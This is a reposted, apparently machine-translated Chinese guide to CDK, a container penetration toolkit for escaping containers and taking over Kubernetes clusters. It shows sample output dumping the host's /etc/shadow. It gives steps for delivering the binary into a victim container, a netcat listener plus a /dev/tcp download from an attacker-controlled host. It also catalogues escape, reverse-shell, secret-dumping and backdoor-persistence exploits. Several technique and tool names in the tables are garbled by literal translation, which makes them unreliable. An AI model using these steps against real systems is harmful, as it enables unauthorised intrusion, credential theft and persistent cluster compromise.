CDK——零依赖容器渗透工具包

发布时间 2023-05-20 19:45:59作者: websec80

 

https://github.com/cdk-team/CDK/wiki/CDK-Home-CN

概述

CDK 是一个开源的容器渗透工具包,旨在在不依赖任何操作系统的情况下在不同的精简容器中提供稳定的利用。它带有有用的网络工具和许多强大的 PoCs/EXPs,可以帮助你轻松地逃离容器并接管 K8s 集群。

快速开始

运行cdk eva以获取评估信息和推荐利用,然后运行cdk run以开始攻击。

> ./cdk eva --full

[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.

> ./cdk run cap-dac-read-search

Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

安装/交付

在https://github.com/cdk-team/CDK/releases/下载最新版本

将可执行文件放入目标容器并开始测试。

TIPS:在实际渗透测试中将 CDK 交付到目标容器中

如果你有一个可以上传文件的漏洞,那么你可以直接上传 CDK 二进制文件。

如果你有RCE exploit,但是目标容器没有curlor wget,你可以使用下面的方式下发CDK:

  1. 首先,使用公共 IP 在您的主机上托管 CDK 二进制文件。
(on your host)
nc -lvp 999 < cdk
  1. 在受害者容器内执行
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk

用法

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Auto Escape:
  cdk auto-escape <cmd>                     Escape container in different ways then let target execute <cmd>.

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

特征

CDK具有三个模块:

  1. 评估:收集容器内部的信息以发现潜在的弱点。
  2. 漏洞利用:用于容器逃逸、持久化和横向移动
  3. 工具:用于 TCP/HTTP 请求、隧道和 K8s 集群管理的网络工具和 API。

评估模块

用法

cdk evaluate [--full]

此命令将在不扫描本地文件的情况下运行以下脚本,用于--full启用所有。

策略脚本支持的用法/示例
信息收集 操作系统基本信息 关联
信息收集 可用功能 关联
信息收集 可用的 Linux 命令 关联
信息收集 坐骑 关联
信息收集 网络命名空间 关联
信息收集 敏感环境 关联
信息收集 敏感工艺 关联
信息收集 敏感的本地文件 关联
信息收集 Kube-proxy 路由 Localnet(CVE-2020-8558) 关联
信息收集 基于 DNS 的服务发现 关联
发现 K8s API 服务器信息 关联
发现 K8s服务-账号信息 关联
发现 云提供商元数据 API 关联

漏洞利用模块

列出所有可用的漏洞:

cdk run --list

运行有针对性的利用:

cdk run <script-name> [options]
战术技术CDK 漏洞名称支持的在薄文档
逃离 docker-runc CVE-2019-5736 runc-pwn  
逃离 containerd-shim CVE-2020-15257 shim-pwn   关联
逃离 docker.sock PoC(DIND 攻击) docker-袜子检查 关联
逃离 docker.sock RCE docker-sock-pwn 关联
逃离 Docker API(2375) RCE docker-api-pwn 关联
逃离 设备挂载转义 挂载盘 关联
逃离 LXCFS 转义 lxcfs-rw 关联
逃离 Cgroup 逃逸 挂载-cgroup 关联
逃离 滥用非特权用户命名空间转义 CVE-2022-0492 滥用非隐私用户 关联
逃离 过程逃逸 挂载过程 关联
逃离 Ptrace 逃避 PoC 检查跟踪 关联
逃离 重写 Cgroup(devices.allow) 重写-cgroup-设备 关联
逃离 从主机系统读取任意文件 (CAP_DAC_READ_SEARCH) cap-dac-读取搜索 关联
发现 K8s 组件探针 服务探针 关联
发现 转储 Istio Sidecar 元数据 istio检查 关联
发现 转储 K8s Pod 安全策略 k8s-psp-转储   关联
遥控 反壳 反壳 关联
遥控 Kubelet 执行程序 kubelet-exec  
凭据访问 注册表暴力破解 注册表暴力 关联
凭据访问 访问密钥扫描 漏电 关联
凭据访问 Etcd 获取 K8s Token etcd-获取-k8s-token  
凭据访问 转储 K8s 秘密 k8s-秘密转储 关联
凭据访问 转储 K8s 配置 k8s-configmap-转储 关联
特权升级 K8s RBAC 绕过 k8s-获取-sa-token 关联
坚持 部署 WebShell webshel​​l部署 关联
坚持 部署后门 Pod k8s-backdoor-daemonset 关联
坚持 部署 Shadow K8s api-server k8s-影子-apiserver   关联
坚持 K8s 中间人攻击 (CVE-2020-8554) k8s-mitm-clusterip 关联
坚持 部署 K8s CronJob k8s-cronjob 关联

关于 Thin 的注意事项:thin 版本为短期容器 shell(例如无服务器功能)准备的。我们在源代码中添加了构建标签并减少了一些漏洞利用以使二进制文件更轻。这个 2MB 的文件包含 90% 的 CDK 功能,您还可以从 CDK 源代码中获取有用的漏洞来构建您自己的轻量级二进制文件。

工具模块

像在 Linux 中一样运行命令,输入参数略有不同,请参阅用法链接。

cdk nc [options]
cdk ps
命令描述支持的用法/示例
数控 隧道 关联
附言 处理信息 关联
配置文件 网络信息 关联
编辑文件 关联
未经授权的 ectd 密钥枚举  
卷曲 请求 K8s api-server 关联
卷曲 请求 Docker HTTP API 关联
ucurl 请求 Docker Unix 套接字 关联
卷曲 请求 Docker Registry API    
探测 IP/端口扫描 关联

发布文件

如果你想知道我们是怎么发布新版本的,thin是怎么产生的,为什么我们提供upx版本,all,normal,thin,upx不同版本有什么区别,如何选择具体的CDK exploit和工具来编译自己发布,请查看发布文档